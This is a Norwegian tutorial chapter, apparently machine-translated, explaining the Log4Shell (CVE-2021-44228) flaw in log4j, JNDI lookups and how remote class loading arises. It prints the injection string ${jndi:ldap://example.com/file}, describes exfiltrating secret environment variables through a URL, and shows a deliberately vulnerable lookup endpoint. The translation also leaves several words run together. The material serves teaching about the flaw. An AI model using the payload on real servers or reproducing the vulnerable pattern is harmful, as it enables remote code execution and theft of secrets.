7.1 Skandale

Og selvfølgelig er det umulig å ikke fortelle om historien som skjedde ganske nylig - på slutten av 2021.

Log4Shell

US Cybersecurity and Infrastructure Protection Agency (CISA) sa at problemet Log4Sheller en av de mest alvorlige sårbarhetene i historien. Ja, vi snakker om favorittbiblioteket vårt log4j.

Vårt koselige lille bibliotek log4j og historiens største sårbarhet ? fascinert? Så hør.

7.2 Katastrofens omfang

Oppdagelsen av en kritisk sårbarhet Log4Shell(kode CVE-2021-44228) ble annonsert 9. desember 2021 av sikkerhetseksperter fra Lunasec. Eksperter fra Apache Security Team Java-fellesskapet har verifisert denne informasjonen og publisert en liste over sårbare Java-biblioteker. Listen var bare enorm.

Hvis et Java-prosjekt brukte et bibliotek log4j, kan det hackes ganske enkelt. Og gitt at nesten all serverprogramvare er skrevet i Javaden log4jmest populære java-loggeren, ifølge sikkerhetseksperter, påvirket sårbarheten 93 % av bedriftens skymiljøer. Inkludert slike som Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam og mange flere

Dessuten påvirket sårbarheten ikke bare serverprogramvare, men også mange Java-applikasjoner, så vel som maskinvareprodusenter. For eksempel publiserte Intel en liste over 32 hackbare programmer: SDK-er, servervedlikeholdssystemer, Linux-verktøy.

Nvidia la også ut en sikkerhetsproblemrapport som nevnte DGX-servere og NetQ-verktøy. En rekke oppdateringer ble raskt utgitt av Apple og Microsoft.

Grovt sett setter en linje i adressefeltet til en elevs nettleser serveren hvis denne linjen blir spist opp av loggeren (på mange servere logges alt HTTP-requests).

Etter å ha analysert koden, viste det seg at sårbarheten hadde sittet på biblioteket siden 2013, men det merket de først nå. Og da de begynte å grave dypere, oppdaget de en avgrunn, hvis bunn ikke er synlig i det hele tatt.

7.3 Den mest alvorlige sårbarheten i historien

Tilbake i desember 2021 uttalte US Cybersecurity and Infrastructure Protection Agency (CISA) at Log4Shelldet er en av de mest alvorlige sårbarhetene i historien .

Mange andre eksperter uttrykker en lignende oppfatning . Alle vet om denne sårbarheten, og hackere i alle aldre bruker den allerede til å stjele personlige data og andre typer angrep på ulike organisasjoner. I fremtiden venter vi på en bølge av massive hacks og datalekkasjer.

Omfanget av katastrofen kan måles selv ved at det er et eget nettsted med memes om Log4j , og hver dag er det nye bilder.

Dette problemet har vært med oss ​​i lang tid. Et sikkerhetshull i millioner om ikke hundrevis av millioner av datasystemer. All gammel programvare må oppdateres og i det minste erstatte dette biblioteket der. Men i de fleste tilfeller vet ingen engang hvilke biblioteker og hvilke versjoner som brukes i programvaren deres.

Generelt forventer vi en kraftig økning i lønnen til datasikkerhetsspesialister.

7.4 Sårbarhetens art

For å forstå essensen av sårbarheten, må du forstå hvordan store serversystemer er ordnet. Ofte er slike serverapplikasjoner delt inn i forskjellige tjenester som er plassert på forskjellige servere. Og JNDI-tjenesten hjelper dem å samhandle.

Java Naming and Directory Interface (JNDI) er Java APIå slå opp objekter/tjenester etter navn. Disse objektene kan lagres i ulike navnetjenester eller kataloger som Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) eller Domain Name Service (DNS).

Å jobbe med det er veldig enkelt - det er en enkel en Java APIsom bare tar en strengparameter - navnet på tjenesten. Med den kan du kontakte hvilken som helst tjeneste og be ham om å gjøre noe og / eller sende noen data. For eksempel vil streng ${jndi:ldap://example.com/file}laste data fra denne URLspesifisert i strengen.

Hvis parameteren kommer fra en ikke-klarert kilde, kan det føre til ekstern klasselasting og kjøring av tredjepartskode . Hva skjer i tilfelle Log4j. Angriperen dirigerer ganske enkelt offerets Java-applikasjon til den ondsinnede rmi/ldap/corba-serverog mottar et ondsinnet objekt som svar.

Teknisk sett ligger ikke problemet her i log4jselve biblioteket, men i sikkerhetsinnstillingene når du arbeider med JNDI-service. Du må alltid sjekke hva slags streng vi sender til InitialContext.lookup().

Sårbart eksempel JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 For smart bibliotek

Og hvor log4jspør du? Saken er at utviklerne ønsket å gjøre arbeidet med det så komfortabelt som mulig og la til smart logging til det. Slik fungerer det:

Det hele startet med det faktum at loggmeldinger tillot deg å angi en mal der data ble erstattet, for eksempel:


log.debug(“User {user} has {count} friends”, user, count);

Den gamle versjonen uten dataerstatning så slik ut:


log.debug( “User “+user +” has “+ count +” friends”);

I 2013 ble erstatningen av smarte prefikser spesifisert av visningsmalen også lagt til biblioteket ${prefix:name}. For eksempel vil strengen “${java:version}”bli konvertert til «Java version 1.7.0_67». Å så praktisk.

Blant de gjenkjente uttrykkene er ${jndi:<lookup>}hvor du etter jndi-protokollen kan spesifisere et søk gjennom LDAP: vilkårlig URL-addresskan spørres og lastes inn som objektdata Java.

Dette er et standardproblem for hele tilnærmingen JDK: det deserialiserer automatisk et objekt, en lenke til som kan settes i form av en url. I dette tilfellet lastes ikke bare dataene til objektet fra den eksterne ressursen, men også koden til klassen.

Hacket ser slik ut:

  • Laster ned en fil med ondsinnet kode
  • Filen inneholder serialisert Java an object(og dens klasse)
  • Klassen lasterJava-machine
  • Et objekt av en ondsinnet klasse blir opprettet
  • Objektets konstruktør kalles
  • Både konstruktør og statisk initialisering lar ondsinnet klassekode kjøres

log4jHvis det er noe slikt i linjen som blir logget ${jndi:ldap://example.com/file}, log4jvil den laste ned data fra denne URL-addressnår den kobles til Internett . Ved å skrive inn en streng som er logget, kan en angriper laste ned og kjøre ondsinnet kode som er vert på en offentlig URL-address.

Selv om datakjøring er deaktivert, kan en angriper skaffe data, for eksempel hemmelige miljøvariabler, ved å plassere dem i en , URL-addresssom vil erstatte dem og sende dem til angriperens server.

Den gode nyheten er at problemet raskt ble løst i biblioteket .

Den dårlige nyheten er at millioner av servere rundt om i verden fortsatt kjører den gamle versjonen av dette biblioteket ...

Java webinar